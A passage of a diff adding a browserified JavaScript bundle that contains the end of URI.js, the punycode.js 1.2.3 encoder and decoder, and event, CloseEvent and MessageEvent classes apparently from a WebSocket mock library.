+      if (hasOwn.call(two_map, key)) {
+        if (!checked[key]) {
+          // two contains a parameter not present in one
+          return false;
+        }
+      }
+    }
+
+    return true;
+  };
+
+  // state
+  p.duplicateQueryParameters = function(v) {
+    this._parts.duplicateQueryParameters = !!v;
+    return this;
+  };
+
+  p.escapeQuerySpace = function(v) {
+    this._parts.escapeQuerySpace = !!v;
+    return this;
+  };
+
+  return URI;
+}));
+
+},{"./IPv6":1,"./SecondLevelDomains":2,"./punycode":4}],4:[function(require,module,exports){
+(function (global){
+/*! http://mths.be/punycode v1.2.3 by @mathias */
+;(function(root) {
+
+	/** Detect free variables */
+	var freeExports = typeof exports == 'object' && exports;
+	var freeModule = typeof module == 'object' && module &&
+		module.exports == freeExports && module;
+	var freeGlobal = typeof global == 'object' && global;
+	if (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal) {
+		root = freeGlobal;
+	}
+
+	/**
+	 * The `punycode` object.
+	 * @name punycode
+	 * @type Object
+	 */
+	var punycode,
+
+	/** Highest positive signed 32-bit float value */
+	maxInt = 2147483647, // aka. 0x7FFFFFFF or 2^31-1
+
+	/** Bootstring parameters */
+	base = 36,
+	tMin = 1,
+	tMax = 26,
+	skew = 38,
+	damp = 700,
+	initialBias = 72,
+	initialN = 128, // 0x80
+	delimiter = '-', // '\x2D'
+
+	/** Regular expressions */
+	regexPunycode = /^xn--/,
+	regexNonASCII = /[^ -~]/, // unprintable ASCII chars + non-ASCII chars
+	regexSeparators = /\x2E|\u3002|\uFF0E|\uFF61/g, // RFC 3490 separators
+
+	/** Error messages */
+	errors = {
+		'overflow': 'Overflow: input needs wider integers to process',
+		'not-basic': 'Illegal input >= 0x80 (not a basic code point)',
+		'invalid-input': 'Invalid input'
+	},
+
+	/** Convenience shortcuts */
+	baseMinusTMin = base - tMin,
+	floor = Math.floor,
+	stringFromCharCode = String.fromCharCode,
+
+	/** Temporary variable */
+	key;
+
+	/*--------------------------------------------------------------------------*/
+
+	/**
+	 * A generic error utility function.
+	 * @private
+	 * @param {String} type The error type.
+	 * @returns {Error} Throws a `RangeError` with the applicable error message.
+	 */
+	function error(type) {
+		throw RangeError(errors[type]);
+	}
+
+	/**
+	 * A generic `Array#map` utility function.
+	 * @private
+	 * @param {Array} array The array to iterate over.
+	 * @param {Function} callback The function that gets called for every array
+	 * item.
+	 * @returns {Array} A new array of values returned by the callback function.
+	 */
+	function map(array, fn) {
+		var length = array.length;
+		while (length--) {
+			array[length] = fn(array[length]);
+		}
+		return array;
+	}
+
+	/**
+	 * A simple `Array#map`-like wrapper to work with domain name strings.
+	 * @private
+	 * @param {String} domain The domain name.
+	 * @param {Function} callback The function that gets called for every
+	 * character.
+	 * @returns {Array} A new string of characters returned by the callback
+	 * function.
+	 */
+	function mapDomain(string, fn) {
+		return map(string.split(regexSeparators), fn).join('.');
+	}
+
+	/**
+	 * Creates an array containing the numeric code points of each Unicode
+	 * character in the string. While JavaScript uses UCS-2 internally,
+	 * this function will convert a pair of surrogate halves (each of which
+	 * UCS-2 exposes as separate characters) into a single code point,
+	 * matching UTF-16.
+	 * @see `punycode.ucs2.encode`
+	 * @see <http://mathiasbynens.be/notes/javascript-encoding>
+	 * @memberOf punycode.ucs2
+	 * @name decode
+	 * @param {String} string The Unicode input string (UCS-2).
+	 * @returns {Array} The new array of code points.
+	 */
+	function ucs2decode(string) {
+		var output = [],
+		    counter = 0,
+		    length = string.length,
+		    value,
+		    extra;
+		while (counter < length) {
+			value = string.charCodeAt(counter++);
+			if (value >= 0xD800 && value <= 0xDBFF && counter < length) {
+				// high surrogate, and there is a next character
+				extra = string.charCodeAt(counter++);
+				if ((extra & 0xFC00) == 0xDC00) { // low surrogate
+					output.push(((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000);
+				} else {
+					// unmatched surrogate; only append this code unit, in case the next
+					// code unit is the high surrogate of a surrogate pair
+					output.push(value);
+					counter--;
+				}
+			} else {
+				output.push(value);
+			}
+		}
+		return output;
+	}
+
+	/**
+	 * Creates a string based on an array of numeric code points.
+	 * @see `punycode.ucs2.decode`
+	 * @memberOf punycode.ucs2
+	 * @name encode
+	 * @param {Array} codePoints The array of numeric code points.
+	 * @returns {String} The new Unicode string (UCS-2).
+	 */
+	function ucs2encode(array) {
+		return map(array, function(value) {
+			var output = '';
+			if (value > 0xFFFF) {
+				value -= 0x10000;
+				output += stringFromCharCode(value >>> 10 & 0x3FF | 0xD800);
+				value = 0xDC00 | value & 0x3FF;
+			}
+			output += stringFromCharCode(value);
+			return output;
+		}).join('');
+	}
+
+	/**
+	 * Converts a basic code point into a digit/integer.
+	 * @see `digitToBasic()`
+	 * @private
+	 * @param {Number} codePoint The basic numeric code point value.
+	 * @returns {Number} The numeric value of a basic code point (for use in
+	 * representing integers) in the range `0` to `base - 1`, or `base` if
+	 * the code point does not represent a value.
+	 */
+	function basicToDigit(codePoint) {
+		if (codePoint - 48 < 10) {
+			return codePoint - 22;
+		}
+		if (codePoint - 65 < 26) {
+			return codePoint - 65;
+		}
+		if (codePoint - 97 < 26) {
+			return codePoint - 97;
+		}
+		return base;
+	}
+
+	/**
+	 * Converts a digit/integer into a basic code point.
+	 * @see `basicToDigit()`
+	 * @private
+	 * @param {Number} digit The numeric value of a basic code point.
+	 * @returns {Number} The basic code point whose value (when used for
+	 * representing integers) is `digit`, which needs to be in the range
+	 * `0` to `base - 1`. If `flag` is non-zero, the uppercase form is
+	 * used; else, the lowercase form is used. The behavior is undefined
+	 * if `flag` is non-zero and `digit` has no uppercase form.
+	 */
+	function digitToBasic(digit, flag) {
+		//  0..25 map to ASCII a..z or A..Z
+		// 26..35 map to ASCII 0..9
+		return digit + 22 + 75 * (digit < 26) - ((flag != 0) << 5);
+	}
+
+	/**
+	 * Bias adaptation function as per section 3.4 of RFC 3492.
+	 * http://tools.ietf.org/html/rfc3492#section-3.4
+	 * @private
+	 */
+	function adapt(delta, numPoints, firstTime) {
+		var k = 0;
+		delta = firstTime ? floor(delta / damp) : delta >> 1;
+		delta += floor(delta / numPoints);
+		for (/* no initialization */; delta > baseMinusTMin * tMax >> 1; k += base) {
+			delta = floor(delta / baseMinusTMin);
+		}
+		return floor(k + (baseMinusTMin + 1) * delta / (delta + skew));
+	}
+
+	/**
+	 * Converts a Punycode string of ASCII-only symbols to a string of Unicode
+	 * symbols.
+	 * @memberOf punycode
+	 * @param {String} input The Punycode string of ASCII-only symbols.
+	 * @returns {String} The resulting string of Unicode symbols.
+	 */
+	function decode(input) {
+		// Don't use UCS-2
+		var output = [],
+		    inputLength = input.length,
+		    out,
+		    i = 0,
+		    n = initialN,
+		    bias = initialBias,
+		    basic,
+		    j,
+		    index,
+		    oldi,
+		    w,
+		    k,
+		    digit,
+		    t,
+		    length,
+		    /** Cached calculation results */
+		    baseMinusT;
+
+		// Handle the basic code points: let `basic` be the number of input code
+		// points before the last delimiter, or `0` if there is none, then copy
+		// the first basic code points to the output.
+
+		basic = input.lastIndexOf(delimiter);
+		if (basic < 0) {
+			basic = 0;
+		}
+
+		for (j = 0; j < basic; ++j) {
+			// if it's not a basic code point
+			if (input.charCodeAt(j) >= 0x80) {
+				error('not-basic');
+			}
+			output.push(input.charCodeAt(j));
+		}
+
+		// Main decoding loop: start just after the last delimiter if any basic code
+		// points were copied; start at the beginning otherwise.
+
+		for (index = basic > 0 ? basic + 1 : 0; index < inputLength; /* no final expression */) {
+
+			// `index` is the index of the next character to be consumed.
+			// Decode a generalized variable-length integer into `delta`,
+			// which gets added to `i`. The overflow checking is easier
+			// if we increase `i` as we go, then subtract off its starting
+			// value at the end to obtain `delta`.
+			for (oldi = i, w = 1, k = base; /* no condition */; k += base) {
+
+				if (index >= inputLength) {
+					error('invalid-input');
+				}
+
+				digit = basicToDigit(input.charCodeAt(index++));
+
+				if (digit >= base || digit > floor((maxInt - i) / w)) {
+					error('overflow');
+				}
+
+				i += digit * w;
+				t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);
+
+				if (digit < t) {
+					break;
+				}
+
+				baseMinusT = base - t;
+				if (w > floor(maxInt / baseMinusT)) {
+					error('overflow');
+				}
+
+				w *= baseMinusT;
+
+			}
+
+			out = output.length + 1;
+			bias = adapt(i - oldi, out, oldi == 0);
+
+			// `i` was supposed to wrap around from `out` to `0`,
+			// incrementing `n` each time, so we'll fix that now:
+			if (floor(i / out) > maxInt - n) {
+				error('overflow');
+			}
+
+			n += floor(i / out);
+			i %= out;
+
+			// Insert `n` at position `i` of the output
+			output.splice(i++, 0, n);
+
+		}
+
+		return ucs2encode(output);
+	}
+
+	/**
+	 * Converts a string of Unicode symbols to a Punycode string of ASCII-only
+	 * symbols.
+	 * @memberOf punycode
+	 * @param {String} input The string of Unicode symbols.
+	 * @returns {String} The resulting Punycode string of ASCII-only symbols.
+	 */
+	function encode(input) {
+		var n,
+		    delta,
+		    handledCPCount,
+		    basicLength,
+		    bias,
+		    j,
+		    m,
+		    q,
+		    k,
+		    t,
+		    currentValue,
+		    output = [],
+		    /** `inputLength` will hold the number of code points in `input`. */
+		    inputLength,
+		    /** Cached calculation results */
+		    handledCPCountPlusOne,
+		    baseMinusT,
+		    qMinusT;
+
+		// Convert the input in UCS-2 to Unicode
+		input = ucs2decode(input);
+
+		// Cache the length
+		inputLength = input.length;
+
+		// Initialize the state
+		n = initialN;
+		delta = 0;
+		bias = initialBias;
+
+		// Handle the basic code points
+		for (j = 0; j < inputLength; ++j) {
+			currentValue = input[j];
+			if (currentValue < 0x80) {
+				output.push(stringFromCharCode(currentValue));
+			}
+		}
+
+		handledCPCount = basicLength = output.length;
+
+		// `handledCPCount` is the number of code points that have been handled;
+		// `basicLength` is the number of basic code points.
+
+		// Finish the basic string - if it is not empty - with a delimiter
+		if (basicLength) {
+			output.push(delimiter);
+		}
+
+		// Main encoding loop:
+		while (handledCPCount < inputLength) {
+
+			// All non-basic code points < n have been handled already. Find the next
+			// larger one:
+			for (m = maxInt, j = 0; j < inputLength; ++j) {
+				currentValue = input[j];
+				if (currentValue >= n && currentValue < m) {
+					m = currentValue;
+				}
+			}
+
+			// Increase `delta` enough to advance the decoder's <n,i> state to <m,0>,
+			// but guard against overflow
+			handledCPCountPlusOne = handledCPCount + 1;
+			if (m - n > floor((maxInt - delta) / handledCPCountPlusOne)) {
+				error('overflow');
+			}
+
+			delta += (m - n) * handledCPCountPlusOne;
+			n = m;
+
+			for (j = 0; j < inputLength; ++j) {
+				currentValue = input[j];
+
+				if (currentValue < n && ++delta > maxInt) {
+					error('overflow');
+				}
+
+				if (currentValue == n) {
+					// Represent delta as a generalized variable-length integer
+					for (q = delta, k = base; /* no condition */; k += base) {
+						t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);
+						if (q < t) {
+							break;
+						}
+						qMinusT = q - t;
+						baseMinusT = base - t;
+						output.push(
+							stringFromCharCode(digitToBasic(t + qMinusT % baseMinusT, 0))
+						);
+						q = floor(qMinusT / baseMinusT);
+					}
+
+					output.push(stringFromCharCode(digitToBasic(q, 0)));
+					bias = adapt(delta, handledCPCountPlusOne, handledCPCount == basicLength);
+					delta = 0;
+					++handledCPCount;
+				}
+			}
+
+			++delta;
+			++n;
+
+		}
+		return output.join('');
+	}
+
+	/**
+	 * Converts a Punycode string representing a domain name to Unicode. Only the
+	 * Punycoded parts of the domain name will be converted, i.e. it doesn't
+	 * matter if you call it on a string that has already been converted to
+	 * Unicode.
+	 * @memberOf punycode
+	 * @param {String} domain The Punycode domain name to convert to Unicode.
+	 * @returns {String} The Unicode representation of the given Punycode
+	 * string.
+	 */
+	function toUnicode(domain) {
+		return mapDomain(domain, function(string) {
+			return regexPunycode.test(string)
+				? decode(string.slice(4).toLowerCase())
+				: string;
+		});
+	}
+
+	/**
+	 * Converts a Unicode string representing a domain name to Punycode. Only the
+	 * non-ASCII parts of the domain name will be converted, i.e. it doesn't
+	 * matter if you call it with a domain that's already in ASCII.
+	 * @memberOf punycode
+	 * @param {String} domain The domain name to convert, as a Unicode string.
+	 * @returns {String} The Punycode representation of the given domain name.
+	 */
+	function toASCII(domain) {
+		return mapDomain(domain, function(string) {
+			return regexNonASCII.test(string)
+				? 'xn--' + encode(string)
+				: string;
+		});
+	}
+
+	/*--------------------------------------------------------------------------*/
+
+	/** Define the public API */
+	punycode = {
+		/**
+		 * A string representing the current Punycode.js version number.
+		 * @memberOf punycode
+		 * @type String
+		 */
+		'version': '1.2.3',
+		/**
+		 * An object of methods to convert from JavaScript's internal character
+		 * representation (UCS-2) to Unicode code points, and back.
+		 * @see <http://mathiasbynens.be/notes/javascript-encoding>
+		 * @memberOf punycode
+		 * @type Object
+		 */
+		'ucs2': {
+			'decode': ucs2decode,
+			'encode': ucs2encode
+		},
+		'decode': decode,
+		'encode': encode,
+		'toASCII': toASCII,
+		'toUnicode': toUnicode
+	};
+
+	/** Expose `punycode` */
+	// Some AMD build optimizers, like r.js, check for specific condition patterns
+	// like the following:
+	if (
+		typeof define == 'function' &&
+		typeof define.amd == 'object' &&
+		define.amd
+	) {
+		define(function() {
+			return punycode;
+		});
+	}	else if (freeExports && !freeExports.nodeType) {
+		if (freeModule) { // in Node.js or RingoJS v0.8.0+
+			freeModule.exports = punycode;
+		} else { // in Narwhal or RingoJS v0.7.0-
+			for (key in punycode) {
+				punycode.hasOwnProperty(key) && (freeExports[key] = punycode[key]);
+			}
+		}
+	} else { // in Rhino or a web browser
+		root.punycode = punycode;
+	}
+
+}(this));
+
+}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
+
+},{}],5:[function(require,module,exports){
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+  value: true
+});
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
+
+var _helpersEvent = require('./helpers/event');
+
+var _helpersEvent2 = _interopRequireDefault(_helpersEvent);
+
+var _helpersMessageEvent = require('./helpers/message-event');
+
+var _helpersMessageEvent2 = _interopRequireDefault(_helpersMessageEvent);
+
+var _helpersCloseEvent = require('./helpers/close-event');
+
+var _helpersCloseEvent2 = _interopRequireDefault(_helpersCloseEvent);
+
+/*
+* Creates an Event object and extends it to allow full modification of
+* its properties.
+*
+* @param {object} config - within config you will need to pass type and optionally target
+*/
+function createEvent(config) {
+  var type = config.type;
+  var target = config.target;
+
+  var eventObject = new _helpersEvent2['default'](type);
+
+  if (target) {
+    eventObject.target = target;
+    eventObject.srcElement = target;
+    eventObject.currentTarget = target;
+  }
+
+  return eventObject;
+}
+
+/*
+* Creates a MessageEvent object and extends it to allow full modification of
+* its properties.
+*
+* @param {object} config - within config you will need to pass type, origin, data and optionally target
+*/
+function createMessageEvent(config) {
+  var type = config.type;
+  var origin = config.origin;
+  var data = config.data;
+  var target = config.target;
+
+  var messageEvent = new _helpersMessageEvent2['default'](type, {
+    data: data,
+    origin: origin
+  });
+
+  if (target) {
+    messageEvent.target = target;
+    messageEvent.srcElement = target;
+    messageEvent.currentTarget = target;
+  }
+
+  return messageEvent;
+}
+
+/*
+* Creates a CloseEvent object and extends it to allow full modification of
+* its properties.
+*
+* @param {object} config - within config you will need to pass type and optionally target, code, and reason
+*/
+function createCloseEvent(config) {
+  var code = config.code;
+  var reason = config.reason;
+  var type = config.type;
+  var target = config.target;
+  var wasClean = config.wasClean;
+
+  if (!wasClean) {
+    wasClean = code === 1000;
+  }
+
+  var closeEvent = new _helpersCloseEvent2['default'](type, {
+    code: code,
+    reason: reason,
+    wasClean: wasClean
+  });
+
+  if (target) {
+    closeEvent.target = target;
+    closeEvent.srcElement = target;
+    closeEvent.currentTarget = target;
+  }
+
+  return closeEvent;
+}
+
+exports.createEvent = createEvent;
+exports.createMessageEvent = createMessageEvent;
+exports.createCloseEvent = createCloseEvent;
+},{"./helpers/close-event":9,"./helpers/event":12,"./helpers/message-event":13}],6:[function(require,module,exports){
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+  value: true
+});
+
+var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
+
+var _helpersArrayHelpers = require('./helpers/array-helpers');
+
+/*
+* EventTarget is an interface implemented by objects that can
+* receive events and may have listeners for them.
+*
+* https://developer.mozilla.org/en-US/docs/Web/API/EventTarget
+*/
+
+var EventTarget = (function () {
+  function EventTarget() {
+    _classCallCheck(this, EventTarget);
+
+    this.listeners = {};
+  }
+
+  /*
+  * Ties a listener function to a event type which can later be invoked via the
+  * dispatchEvent method.
+  *
+  * @param {string} type - the type of event (ie: 'open', 'message', etc.)
+  * @param {function} listener - the callback function to invoke whenever a event is dispatched matching the given type
+  * @param {boolean} useCapture - N/A TODO: implement useCapture functionality
+  */
+
+  _createClass(EventTarget, [{
+    key: 'addEventListener',
+    value: function addEventListener(type, listener /* , useCapture */) {
+      if (typeof listener === 'function') {
+        if (!Array.isArray(this.listeners[type])) {
+          this.listeners[type] = [];
+        }
+
+        // Only add the same function once
+        if ((0, _helpersArrayHelpers.filter)(this.listeners[type], function (item) {
+          return item === listener;
+        }).length === 0) {
+          this.listeners[type].push(listener);
+        }
+      }
+    }
+
+    /*
+    * Removes the listener so it will no longer be invoked via the dispatchEvent method.
+    *
+    * @param {string} type - the type of event (ie: 'open', 'message', etc.)
+    * @param {function} listener - the callback function to invoke whenever a event is dispatched matching the given type
+    * @param {boolean} useCapture - N/A TODO: implement useCapture functionality
+    */
+  }, {
+    key: 'removeEventListener',
+    value: function removeEventListener(type, removingListener /* , useCapture */) {
+      var arrayOfListeners = this.listeners[type];
+      this.listeners[type] = (0, _helpersArrayHelpers.reject)(arrayOfListeners, function (listener) {
+        return listener === removingListener;
+      });
+    }
+
+    /*
+    * Invokes all listener functions that are listening to the given event.type property. Each
+    * listener will be passed the event as the first argument.
+    *
+    * @param {object} event - event object which will be passed to all listeners of the event.type property
+    */
+  }, {
+    key: 'dispatchEvent',
+    value: function dispatchEvent(event) {
+      var _this = this;
+
+      for (var _len = arguments.length, customArguments = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
+        customArguments[_key - 1] = arguments[_key];
+      }
+
+      var eventName = event.type;
+      var listeners = this.listeners[eventName];
+
+      if (!Array.isArray(listeners)) {
+        return false;
+      }
+
+      listeners.forEach(function (listener) {
+        if (customArguments.length > 0) {
+          listener.apply(_this, customArguments);
+        } else {
+          listener.call(_this, event);
+        }
+      });
+    }
+  }]);
+
+  return EventTarget;
+})();
+
+exports['default'] = EventTarget;
+module.exports = exports['default'];
+},{"./helpers/array-helpers":7}],7:[function(require,module,exports){
+"use strict";
+
+Object.defineProperty(exports, "__esModule", {
+  value: true
+});
+exports.reject = reject;
+exports.filter = filter;
+
+function reject(array, callback) {
+  var results = [];
+  array.forEach(function (itemInArray) {
+    if (!callback(itemInArray)) {
+      results.push(itemInArray);
+    }
+  });
+
+  return results;
+}
+
+function filter(array, callback) {
+  var results = [];
+  array.forEach(function (itemInArray) {
+    if (callback(itemInArray)) {
+      results.push(itemInArray);
+    }
+  });
+
+  return results;
+}
+},{}],8:[function(require,module,exports){
+/*
+* https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent
+*/
+"use strict";
+
+Object.defineProperty(exports, "__esModule", {
+  value: true
+});
+var codes = {
+  CLOSE_NORMAL: 1000,
+  CLOSE_GOING_AWAY: 1001,
+  CLOSE_PROTOCOL_ERROR: 1002,
+  CLOSE_UNSUPPORTED: 1003,
+  CLOSE_NO_STATUS: 1005,
+  CLOSE_ABNORMAL: 1006,
+  CLOSE_TOO_LARGE: 1009
+};
+
+exports["default"] = codes;
+module.exports = exports["default"];
+},{}],9:[function(require,module,exports){
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+  value: true
+});
+
+var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
+
+function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
+
+var _eventPrototype = require('./event-prototype');
+
+var _eventPrototype2 = _interopRequireDefault(_eventPrototype);
+
+var CloseEvent = (function (_EventPrototype) {
+  _inherits(CloseEvent, _EventPrototype);
+
+  function CloseEvent(type) {
+    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
+
+    _classCallCheck(this, CloseEvent);
+
+    _get(Object.getPrototypeOf(CloseEvent.prototype), 'constructor', this).call(this);
+
+    if (!type) {
+      throw new TypeError('Failed to construct \'CloseEvent\': 1 argument required, but only 0 present.');
+    }
+
+    if (typeof eventInitConfig !== 'object') {
+      throw new TypeError('Failed to construct \'CloseEvent\': parameter 2 (\'eventInitDict\') is not an object');
+    }
+
+    var bubbles = eventInitConfig.bubbles;
+    var cancelable = eventInitConfig.cancelable;
+    var code = eventInitConfig.code;
+    var reason = eventInitConfig.reason;
+    var wasClean = eventInitConfig.wasClean;
+
+    this.type = String(type);
+    this.timeStamp = Date.now();
+    this.target = null;
+    this.srcElement = null;
+    this.returnValue = true;
+    this.isTrusted = false;
+    this.eventPhase = 0;
+    this.defaultPrevented = false;
+    this.currentTarget = null;
+    this.cancelable = cancelable ? Boolean(cancelable) : false;
+    this.canncelBubble = false;
+    this.bubbles = bubbles ? Boolean(bubbles) : false;
+    this.code = typeof code === 'number' ? Number(code) : 0;
+    this.reason = reason ? String(reason) : '';
+    this.wasClean = wasClean ? Boolean(wasClean) : false;
+  }
+
+  return CloseEvent;
+})(_eventPrototype2['default']);
+
+exports['default'] = CloseEvent;
+module.exports = exports['default'];
+},{"./event-prototype":11}],10:[function(require,module,exports){
+/*
+* This delay allows the thread to finish assigning its on* methods
+* before invoking the delay callback. This is purely a timing hack.
+* http://geekabyte.blogspot.com/2014/01/javascript-effect-of-setting-settimeout.html
+*
+* @param {callback: function} the callback which will be invoked after the timeout
+* @parma {context: object} the context in which to invoke the function
+*/
+"use strict";
+
+Object.defineProperty(exports, "__esModule", {
+  value: true
+});
+function delay(callback, context) {
+  setTimeout(function timeout(timeoutContext) {
+    callback.call(timeoutContext);
+  }, 4, context);
+}
+
+exports["default"] = delay;
+module.exports = exports["default"];
+},{}],11:[function(require,module,exports){
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+  value: true
+});
+
+var _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
+
+var EventPrototype = (function () {
+  function EventPrototype() {
+    _classCallCheck(this, EventPrototype);
+  }
+
+  _createClass(EventPrototype, [{
+    key: 'stopPropagation',
+
+    // Noops
+    value: function stopPropagation() {}
+  }, {
+    key: 'stopImmediatePropagation',
+    value: function stopImmediatePropagation() {}
+
+    // if no arguments are passed then the type is set to "undefined" on
+    // chrome and safari.
+  }, {
+    key: 'initEvent',
+    value: function initEvent() {
+      var type = arguments.length <= 0 || arguments[0] === undefined ? 'undefined' : arguments[0];
+      var bubbles = arguments.length <= 1 || arguments[1] === undefined ? false : arguments[1];
+      var cancelable = arguments.length <= 2 || arguments[2] === undefined ? false : arguments[2];
+
+      Object.assign(this, {
+        type: String(type),
+        bubbles: Boolean(bubbles),
+        cancelable: Boolean(cancelable)
+      });
+    }
+  }]);
+
+  return EventPrototype;
+})();
+
+exports['default'] = EventPrototype;
+module.exports = exports['default'];
+},{}],12:[function(require,module,exports){
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+  value: true
+});
+
+var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
+
+function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
+
+var _eventPrototype = require('./event-prototype');
+
+var _eventPrototype2 = _interopRequireDefault(_eventPrototype);
+
+var Event = (function (_EventPrototype) {
+  _inherits(Event, _EventPrototype);
+
+  function Event(type) {
+    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
+
+    _classCallCheck(this, Event);
+
+    _get(Object.getPrototypeOf(Event.prototype), 'constructor', this).call(this);
+
+    if (!type) {
+      throw new TypeError('Failed to construct \'Event\': 1 argument required, but only 0 present.');
+    }
+
+    if (typeof eventInitConfig !== 'object') {
+      throw new TypeError('Failed to construct \'Event\': parameter 2 (\'eventInitDict\') is not an object');
+    }
+
+    var bubbles = eventInitConfig.bubbles;
+    var cancelable = eventInitConfig.cancelable;
+
+    this.type = String(type);
+    this.timeStamp = Date.now();
+    this.target = null;
+    this.srcElement = null;
+    this.returnValue = true;
+    this.isTrusted = false;
+    this.eventPhase = 0;
+    this.defaultPrevented = false;
+    this.currentTarget = null;
+    this.cancelable = cancelable ? Boolean(cancelable) : false;
+    this.canncelBubble = false;
+    this.bubbles = bubbles ? Boolean(bubbles) : false;
+  }
+
+  return Event;
+})(_eventPrototype2['default']);
+
+exports['default'] = Event;
+module.exports = exports['default'];
+},{"./event-prototype":11}],13:[function(require,module,exports){
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+  value: true
+});
+
+var _get = function get(_x2, _x3, _x4) { var _again = true; _function: while (_again) { var object = _x2, property = _x3, receiver = _x4; _again = false; if (object === null) object = Function.prototype; var desc = Object.getOwnPropertyDescriptor(object, property); if (desc === undefined) { var parent = Object.getPrototypeOf(object); if (parent === null) { return undefined; } else { _x2 = parent; _x3 = property; _x4 = receiver; _again = true; desc = parent = undefined; continue _function; } } else if ('value' in desc) { return desc.value; } else { var getter = desc.get; if (getter === undefined) { return undefined; } return getter.call(receiver); } } };
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
+
+function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
+
+function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
+
+var _eventPrototype = require('./event-prototype');
+
+var _eventPrototype2 = _interopRequireDefault(_eventPrototype);
+
+var MessageEvent = (function (_EventPrototype) {
+  _inherits(MessageEvent, _EventPrototype);
+
+  function MessageEvent(type) {
+    var eventInitConfig = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
+
+    _classCallCheck(this, MessageEvent);
+
+    _get(Object.getPrototypeOf(MessageEvent.prototype), 'constructor', this).call(this);
+
+    if (!type) {
+      throw new TypeError('Failed to construct \'MessageEvent\': 1 argument required, but only 0 present.');
+    }
+
+    if (typeof eventInitConfig !== 'object') {
+      throw new TypeError('Failed to construct \'MessageEvent\': parameter 2 (\'eventInitDict\') is not an object');
+    }
+
+    var bubbles = eventInitConfig.bubbles;
+    var cancelable = eventInitConfig.cancelable;
+    var data = eventInitConfig.data;
+    var origin = eventInitConfig.origin;
+    var lastEventId = eventInitConfig.lastEventId;
+    var ports = eventInitConfig.ports;
+
+    this.type = String(type);
+    this.timeStamp = Date.now();
+    this.target = null;
+    this.srcElement = null;
+    this.returnValue = true;
+    this.isTrusted = false;
